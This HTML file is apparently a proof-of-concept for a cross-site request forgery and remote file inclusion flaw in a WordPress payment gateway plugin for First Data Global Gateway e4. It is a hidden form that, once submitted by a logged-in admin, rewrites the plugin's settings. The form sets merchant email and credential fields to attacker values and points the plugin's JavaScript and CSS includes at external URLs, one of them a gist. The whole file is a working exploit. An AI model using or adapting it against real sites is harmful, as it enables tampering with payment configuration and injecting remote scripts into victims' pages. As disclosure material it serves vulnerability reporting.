csrf-rfi-poc-global-gateway-e4.html

<form action="http://localhost/wp-admin/options-general.php?page=global-gateway-e4" method="post">
	<input type="hidden" name="x_login_raw" value='123' />
	<input type="hidden" name="transaction_key_raw" value='123' />
	<input type="hidden" name="attributes[]" value='2' />
	<input type="hidden" name="attributes[]" value='1' />
	<input type="hidden" name="attributes[]" value='3' />
	<input type="hidden" name="attributes[]" value='7' />
	<input type="hidden" name="attributes[]" value='22' />
	<input type="hidden" name="attributes[]" value='23' />
	<input type="hidden" name="attributes[]" value='4' />
	<input type="hidden" name="attributes[]" value='8' />
	<input type="hidden" name="attributes[]" value='9' />
	<input type="hidden" name="attributes[]" value='10' />
	<input type="hidden" name="attributes[]" value='11' />
	<input type="hidden" name="attributes[]" value='24' />
	<input type="hidden" name="user_1" value='csrf-1' />
	<input type="hidden" name="attributes[]" value='25' />
	<input type="hidden" name="user_2" value='csrf-2' />
	<input type="hidden" name="attributes[]" value='26' />
	<input type="hidden" name="user_3" value='csrf-3' />
	<input type="hidden" name="attributes[]" value='27' />
	<input type="hidden" name="attributes[]" value='20' />
	<input type="hidden" name="x_logo_url_raw" value='http://example.org/1.jpg"' />
	<input type="hidden" name="attributes[]" value='15' />
	<input type="hidden" name="x_recurring_billing_id_raw" value='' />
	<input type="hidden" name="attributes[]" value='21' />
	<input type="hidden" name="x_color_background" value='#FFFFFF' />
	<input type="hidden" name="attributes[]" value='6' />
	<input type="hidden" name="x_merchant_email_raw" value='csrf@example.org' />
	<input type="hidden" name="live_demo" value='https://globalgatewaye4.firstdata.com/payment' />
	<input type="hidden" name="x_type" value='AUTH_CAPTURE' />
	<input type="hidden" name="currency_code" value='USD' />
	<input type="hidden" name="attributes[]" value='12' />
	<input type="hidden" name="attributes[]" value='16' />
	<input type="hidden" name="attributes[]" value='17' />
	<input type="hidden" name="attributes[]" value='18' />
	<input type="hidden" name="attributes[]" value='19' />
	<input type="hidden" name="hmac_calculation" value='SHA1' />
	<input type="hidden" name="js_cal_css" value='https://gist.githubusercontent.com/nitstorm/5460b59c40a407d181d1/raw/23e718fb9b811bca8f3100c16ad3686308347736/black-css.css' />
	<input type="hidden" name="js_cal_js" value='https://ajax.googleapis.com/ajax/libs/dojo/1.10.4/dojo/dojo.js' />
	<input type="hidden" name="js_recurring" value='https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js' />
	<input type="hidden" name="js_address" value='https://cdnjs.cloudflare.com/ajax/libs/Chart.js/1.0.2/Chart.js' />
	<input type="submit" value="submit" />
</form>